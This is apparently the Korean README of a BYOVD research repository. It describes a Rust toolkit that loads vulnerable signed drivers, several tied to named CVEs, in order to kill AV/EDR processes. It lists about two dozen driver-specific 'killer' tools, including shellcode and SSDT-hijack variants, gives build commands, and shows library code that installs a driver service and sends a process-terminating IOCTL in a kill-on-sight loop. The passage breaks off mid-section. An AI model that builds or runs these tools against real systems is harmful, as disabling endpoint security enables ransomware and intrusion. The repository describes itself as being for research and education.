
BYOVD 연구 사용 사례: 취약한 드라이버 탐지 및 리버스 엔지니어링 방법론을 다룹니다. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501)
BYOVD는 취약한 드라이버를 악용하여 AV/EDR 솔루션을 비활성화하는 방법을 시연하는 PoC 모음입니다.
이 컬렉션에는 문서화되지 않은 드라이버와 LOLDDrivers 또는 Microsoft의 권장 드라이버 차단 규칙에 이미 포함된 드라이버가 모두 포함되어 있습니다.
최초 발견 이후, TfSysMon 드라이버는 LOLDrivers에 추가되었으며 Sophos 및 ESET이 보고한 바와 같이 랜섬웨어 그룹이 EDRKillShifter 도구를 사용하여 악용하고 있습니다.
BYOVD 기법은 최근 공격적 보안 분야에서 주목을 받고 있으며, 특히 SpyBoy의 Terminator($3,000에 판매) 및 ZeroMemoryEx Blackout 프로젝트와 같은 도구의 출시와 함께 더욱 두각을 나타내고 있습니다. 이러한 도구는 취약한 드라이버를 활용하여 AV/EDR 에이전트를 비활성화하고, 탐지를 줄여 추가 공격을 용이하게 합니다.
이 저장소에는 교육 목적으로 개발된 여러 PoC가 포함되어 있으며, 연구자들이 이러한 드라이버가 프로세스 종료에 어떻게 악용될 수 있는지 이해하는 데 도움을 줍니다.
이 프로젝트는 Rust Cargo 워크스페이스로 구성되어 있습니다. 대부분의 PoC는 드라이버 서비스 수명 주기, IOCTL 디스패치, 프로세스 모니터링, 권한 조정, 정리와 같은 기본 작업을 처리하는 공통 라이브러리(byovd-lib)를 공유합니다. 각 킬러는 드라이버별 구성을 정의하는 얇은 바이너리(약 50-100줄)입니다. K7Terminator, Astra64-Killer, Ktapi-Killer, Xhunter1-Killer는 독립형입니다 — 자체 [workspace] 선언을 가지며 루트 워크스페이스가 아닌 자체 디렉터리에서 직접 빌드됩니다.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
각 `*-Killer/` 디렉토리에는 자체 `Cargo.toml`, `src/main.rs`(`DriverConfig` 구현 + CLI), `README.md`(드라이버 해시 + 사용법), 그리고 바이너리가 런타임에 로드하는 해당 `.sys` 파일이 포함되어 있습니다.
## 🔧 빌드
**전제 조건:** Rust 툴체인과 Windows SDK가 포함된 Visual Studio Build Tools.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
바이너리는 target/release/에 출력됩니다. 실행 전에 해당 .sys 드라이버 파일을 실행 파일과 같은 디렉터리에 복사하세요.
byovd-lib는 모든 PoC(K7Terminator 제외)가 기반으로 하는 공유 라이브러리입니다. 표준적인 "드라이버 설치, 발견 즉시 종료, 정리" 흐름을 위한 고수준 선언형 API와, 사용자 지정 흐름이 필요한 킬러(이미 로드된 드라이버에 연결, 여러 PID로 분산, 구조화된 IOCTL 버퍼, 사용자 지정 재시도 로직 등)를 위한 저수준 명령형 API라는 두 가지 상호 보완적인 API를 제공합니다. 둘 다 동일한 바이너리에서 혼합하여 사용할 수 있습니다.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### High-level API: `DriverConfig` 트레이트 + `run()`
번들된 킬러들이 사용하는 방식입니다. 트레이트를 구현하고 `byovd_lib::run()`을 호출하면 끝입니다.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run()은 다음을 수행합니다: preflight_check → 서비스 설치(SERVICE_DEMAND_START) → StartService → 발견 즉시 종료 모니터(Ctrl+C로 종료) → 서비스 중지 및 삭제.
기본값이 있는 선택적 트레이트 오버라이드:
| 메서드 | 기본값 | 용도 |
|---|---|---|
device_access() | SERVICE_ALL_ACCESS | CreateFileW 접근 플래그 |
skip_unload() | false | 드라이버 정리 건너뛰기(예: 언로드 시 BSOD를 유발하는 드라이버) |
ignore_ioctl_error() | false | IOCTL 실패를 성공으로 처리(예: NSecKrnl은 성공 시 오류를 보고함) |
ioctl_output_size() | 0 | 예상 출력 버퍼 크기(바이트) |
preflight_check() | Ok(()) | 실행 전 검증(예: LocalSystem 확인) |
트레이트 흐름이 맞지 않는 경우(예: 드라이버가 이미 로드되어 IOCTL 하나만 실행하려는 경우, 사용자 지정 재시도 정책이 필요한 경우, IOCTL이 PID가 아닌 구조화된 입력을 받는 경우, 또는 일치하는 모든 PID에 분산 실행하려는 경우) 저수준 구성 요소를 직접 조합하세요.
드라이버 수명 주기 -- ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL 디스패치** — `DeviceHandle`은 다섯 가지 유형화된 형태를 제공합니다: